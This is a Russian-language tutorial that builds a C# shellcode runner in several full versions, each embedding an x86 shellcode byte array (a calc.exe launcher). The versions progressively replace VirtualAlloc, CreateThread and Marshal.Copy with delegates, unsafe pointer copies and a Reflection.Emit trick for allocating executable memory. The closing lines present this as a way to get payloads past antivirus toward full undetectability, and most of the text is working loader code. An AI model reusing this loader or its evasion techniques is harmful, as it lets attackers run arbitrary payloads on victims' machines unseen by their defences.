Зачастую атакующие используют стандартные функции WinAPI для исполнения шелл‑кода. Все эти методы давным‑давно известны любому защитному средству. В статье мы отойдем от проторенного пути и будем использовать иную парадигму — полный отказ от использования WinAPI.
Что представляет собой стандартный шелл‑код‑раннер? В принципе, ничего особенного в нем нет. Алгоритм прост как валенок:
- Сгенерировать, написать или где‑то позаимствовать нужный шелл‑код. Для этого часто используют готовые фреймворки вроде Metasploit.
- Выделить память под шелл‑код. Здесь чаще всего обращаются к функции VirtualAlloc() или низкоуровневым аналогам, например NtAllocateVirtualMemory().
- Если на пункте 2 память была выделена без бита executable, то поставить этот бит на память. Тут дергают VirtualProtect() или NtProtectVirtualMemory().
- Скопировать шелл‑код в память. В случае С++ программы обращаются к memcpy(), а в случае C# можно рассмотреть Marshal.Copy().
- Передать поток управления по адресу шелл‑кода. Реализуется, например, через создание нового потока внутри CreateThread().
- Успех!
Таким образом, стандартный шелл‑код‑раннер выглядит вот так.
Код:
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport(“kernel32.dll”, SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport(“kernel32.dll”)]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(“kernel32.dll”)]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
static void Main(string[] args)
{
byte[] x86shc = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
int size = x86shc.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(x86shc, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Обрати внимание, что в конце идет вызов WaitForSingleObject(). Он здесь не просто так. Наша программа делает self-injection (внедрение шелл‑кода в адресное пространство текущего процесса). Запуск шелл‑кода происходит в функции CreateThread(). Если бы после этой функции ничего не было, то программа приостановила бы выполнение и завершилась. Как следствие, наш шелл‑код перестанет выполняться.
Поэтому вызов функции WaitForSingleObject() предотвращает преждевременное закрытие программы. Наша основная программа будет послушно ожидать успешного исполнения шелл‑кода.
Итак, запускаем код и видим, что все стабильно работает.
Успешное использование стандартного шелл-код-раннераТеперь давай попробуем изменить программу так, чтобы избавиться от всех функций WinAPI. В качестве шелл‑кода, как ты понял, используем стандартный запуск калькулятора. Архитектура — х86.
СИНХРОНИЗАЦИЯ ЧЕРЕЗ SLEEP
Начнем с самого простого — выбросим функцию WaitForSingleObject(). Ее последним аргументом было значение 0xFFFFFFFF, что равносильно константе INFINITE в C++.
Поэтому нам достаточно взять и заменить вызов этой функции стандартным Sleep(), ведь основная задача — предотвратить выключение процесса с запущенным шелл‑кодом.
Предлагаю в качестве кандидата рассмотреть функцию Thread.Sleep().
Код:
public static void Sleep (int millisecondsTimeout);
В качестве millisecondsTimeout передаем, согласно документации, значение Timeout.Infinite.
Код: using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport(“kernel32.dll”, SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport(“kernel32.dll”)]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
byte[] x86shc = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
var size = x86shc.Length;
var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(x86shc, 0, addr, size);
var hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Thread.Sleep(Timeout.Infinite);
Запускаем, проверяем, все работает!
Идем дальше — замена CreateThread().
ПОТОК БЕЗ CREATETHREAD()
Здесь уже сложнее. Поток просто так не заменить. Впрочем, в C# есть отдельный неймспейс System.Threading, который даст нам почти все необходимые методы для работы с многопоточностью.
Для выполнения шелл‑кода достаточно создать поток, а затем сделать точку входа в него идентичной адресу шелл‑кода. Таким образом внутри нового потока будет выполняться наша полезная нагрузка.
Для запуска потока в C# нужно инициализировать экземпляр класса Thread. Этот класс тоже предоставляет некоторые методы для работы с потоками:
- статический метод GetDomain() возвращает ссылку на домен приложения;
- статический метод GetDomainID() возвращает идентификатор домена приложения, в котором выполняется текущий поток;
- статический метод Sleep() останавливает поток на определенное количество миллисекунд;
- метод Join() блокирует выполнение вызвавшего его потока до тех пор, пока не завершится поток, для которого был вызван этот метод;
- метод Start() запускает поток.
В качестве точки входа потока, так же как и в С++, требуется указать определенную функцию. Сразу засунуть сюда шелл‑код не получится — в С# имя функции не является ее адресом. Поэтому потребуется создать дополнительную функцию, которая будет принимать адрес шелл‑кода. А внутри этой так называемой функции — точки входа потока запустить шелл‑код.
Код:
var size = x86shc.Length; var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(x86shc, 0, addr, size); Thread thread = new Thread(() => { IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }); thread.Start(); thread.Join();
Запускать нужно внутри метода ExecuteShellcode(). Мы не используем WinAPI, поэтому передавать поток управления по произвольному адресу будем встроенными средствами C#. На помощь нам придут делегаты. Не пугайся, это только звучит страшно. По сути, это просто указатели на функцию. Они позволяют передать поток управления по любому адресу.
Код метода будет следующим.
Код:
static void ExecuteShellcode(IntPtr funcAddr) { var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); } [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType();
Обрати внимание: в конце мы объявили делегат. Фактически это представление нашего шелл‑кода. Он не принимает никаких аргументов и возвращает void
Затем нужно создать новый делегат. У нас есть адрес, по которому расположен шелл‑код, поэтому используем метод Marshal.GetDelegateForFunctionPointer() для инициализации делегата из адреса в памяти.
После успешной инициализации делегата передать ему поток управления проще простого: нужно обратиться к делегату как к функции: func().
Причем параллельно у нас получилось избавиться и от функции Sleep(). Она была успешно заменена вызовом thread.Join(). Полный код с доработками — ниже.
Код:
using System;using System.Runtime.InteropServices;using System.Threading;namespace ConsoleApp1{ class Program { [DllImport(“kernel32.dll”, SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(“kernel32.dll”, SetLastError = true, ExactSpelling = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01,0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72,0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; var size = x86shc.Length; var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(x86shc, 0, addr, size); Thread thread = new Thread(() => { IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }); thread.Start(); thread.Join(); } static void ExecuteShellcode(IntPtr funcAddr) { var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); } [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType(); }}
КОПИРУЕМ ПАМЯТЬ РУЧКАМИ
Какая логика работы функции Marshal.Copy()?
Код:
public static void Copy (float[] source, int startIndex, IntPtr destination, int length);
Здесь все просто: идет копирование данных размером length из source, начиная с индекса startIndex, по адресу destination.
Что мешает нам написать это ручками? Тем более С# поддерживает механизм указателей. Создадим метод CustomCopy(), принимающий все те же аргументы, что и Marshal.Copy().
Код:
static void CustomCopy(byte[] source, int startIndex, IntPtr destination, int length) { unsafe { byte* destPtr = (byte*)destination.ToPointer(); for (int i = startIndex; i < length; i++) { destPtr[i] = source[i]; } } }
Обрати внимание: здесь используется ключевое слово unsafe. Для успешной компиляции проекта с таким ключевым словом следует в опциях сборки установить галочку напротив пункта «Разрешить небезопасный код».
Необходимая опцияМетод ToPointer() преобразует переданный адрес (destination) в переменную destPtr, которая после выполнения метода начнет указывать на тип byte. Затем по этому адресу будут копироваться значения из source. Фактически мы побайтово копируем данные из source в destination.
С изменениями код будет выглядеть так.
Код:
using System; using System.Runtime.InteropServices; using System.Threading; namespace ConsoleApp1 { class Program { [DllImport(“kernel32.dll”, SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01,0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72,0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; var size = x86shc.Length; var addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); CustomCopy(x86shc, 0, addr, size); Thread thread = new Thread(() => { IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }); thread.Start(); thread.Join(); } static void CustomCopy(byte[] source, int startIndex, IntPtr destination, int length) { unsafe { byte* destPtr = (byte*)destination.ToPointer(); for (int i = startIndex; i < length; i++) { destPtr[i] = source[i]; } } } static void ExecuteShellcode(IntPtr funcAddr) { var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); } [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType(); } }
Успешное выполнение кодаОстается самое сложное — выделять исполняемую память без VirtualAlloc().
ВЫДЕЛЯЕМ ИСПОЛНЯЕМУЮ ПАМЯТЬ БЕЗ WINAPI
Делегаты
Ранее мы рассмотрели способ с вызовом метода GetDelegateForFunctionPointer(), но знаешь ли ты, что существует и обратный метод? Имя его — GetFunctionPointerForDelegate(). Этот метод позволяет получить адрес делегата в памяти. Догадываешься, что делать дальше? Флоу простой:
- Создаем новый делегат.
- Делегат — функция. Функция — исполняемый код. Поэтому адрес делегата — исполняемая память.
- Получаем адрес делегата.
- Копируем по этому адресу шелл‑код.
- Получаем новый делегат по адресу.
- Передаем поток управления.
- Шелл‑код исполняется.
Это достаточно известный метод, и имя его — Double Delegate.
Код:
using System; using System.Runtime.InteropServices; namespace DelegateTest { class Program { public delegate void Callback(); public static void Action() {} delegate void CallingDelegate(); static void Main() { var shellcode = new byte[] {0xfc,0x48,0x81,0xe4…} Callback myAction = new Callback(Action); IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(myAction); Marshal.Copy(shellcode, 0, pMyAction, shellcode.Length); CallingDelegate callingDelegate = Marshal.GetDelegateForFunctionPointer<CallingDelegate>(pMyAction); callingDelegate(); } } }
Однако есть еще один метод, который позволяет именно выделять память, а не заимствовать чужую.
EmitAlloc()
Этот метод использует API System.Reflection.Emit для выделения произвольного объема памяти. Он работает путем многократного вызова метода EmitWriteLine(), который перебирает переданное количество байтов, а затем вычитает по 18 байт из этого значения при каждой итерации цикла.
Это значит, что при каждом вызове метода EmitWriteLine() выделяется по 18 байт. После чего происходит вызов PrepareMethod(), который позволяет подготовить память, чтобы ее использовала CLR-платформа.
Механизм был обнаружен исследователем Диланом Траном. Автор любезно предоставил GitHub gists со всем необходимым кодом. Поэтому переделать нашу программу под использование EmitAlloc() не составит труда.
Код:
using System; using System.Reflection.Emit; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Threading; namespace ConsoleApp1 { class Program { static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f,0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01,0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00,0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72,0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; var size = x86shc.Length; var addr = GenerateRWXMemory(size); CustomCopy(x86shc, 0, addr, size); Thread thread = new Thread(() => { IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }); thread.Start(); thread.Join(); } static void CustomCopy(byte[] source, int startIndex, IntPtr destination, int length) { unsafe { byte* destPtr = (byte*)destination.ToPointer(); for (int i = startIndex; i < length; i++) { destPtr[i] = source[i]; } } } public static IntPtr GenerateRWXMemory(int ByteCount) { AssemblyName AssemblyName = new AssemblyName(“Assembly”); AssemblyBuilder AssemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(AssemblyName, AssemblyBuilderAccess.Run); ModuleBuilder ModuleBuilder = AssemblyBuilder.DefineDynamicModule(“Module”); MethodBuilder MethodBuilder = ModuleBuilder.DefineGlobalMethod( “MethodName”, MethodAttributes.Public | MethodAttributes.Static, typeof(void), //arbitrary return type hehexd new Type[] { }); // no args, but no real reason ILGenerator il = MethodBuilder.GetILGenerator(); // sub rsp,28h (0x48, 0x83, 0xec, 0x28) [4] // Every Emit.WriteLine results in 18 bytes // mov rcx,1D3E2F736A8h (0xe8, 0x7a, 0x07, 0x45, 0x5e) [5] // rcx,qword ptr [rcx] (0x48, 0x8b, 0x09) [3] // call mscorlib_ni!System.Console.WriteLine (0x48, 0xb9, 0xa8, 0x36, 0xf7, 0xe2, 0x2d, 0x30, 0x10, 0x00) [10] // Ends with // ret (0xc3) [1] while (ByteCount > 0) { il.EmitWriteLine(“bruh”); ByteCount -= 18; } il.Emit(OpCodes.Ret); // JIT to 0xc3 ModuleBuilder.CreateGlobalFunctions(); RuntimeMethodHandle mh = ModuleBuilder.GetMethods()[0].MethodHandle; RuntimeHelpers.PrepareMethod(mh); return mh.GetFunctionPointer(); } static void ExecuteShellcode(IntPtr funcAddr) { var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); } [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType(); } }
Подробный анализ такого метода выделения памяти можно почитать в блоге Петара Праника.
ВЫВОДЫ
У нас получилось успешно избавиться от использования методов WinAPI, что позволяет сделать шелл‑код‑раннер более скрытным. Помни: если ты хочешь предотвратить обнаружение твоей нагрузки антивирусом, то нужно мыслить шире и делать не так, как все. Как только ты начинаешь отходить от известных способов обхода антивируса, сразу же начинаешь получать нагрузки, близкие к FUD.
Leave a Reply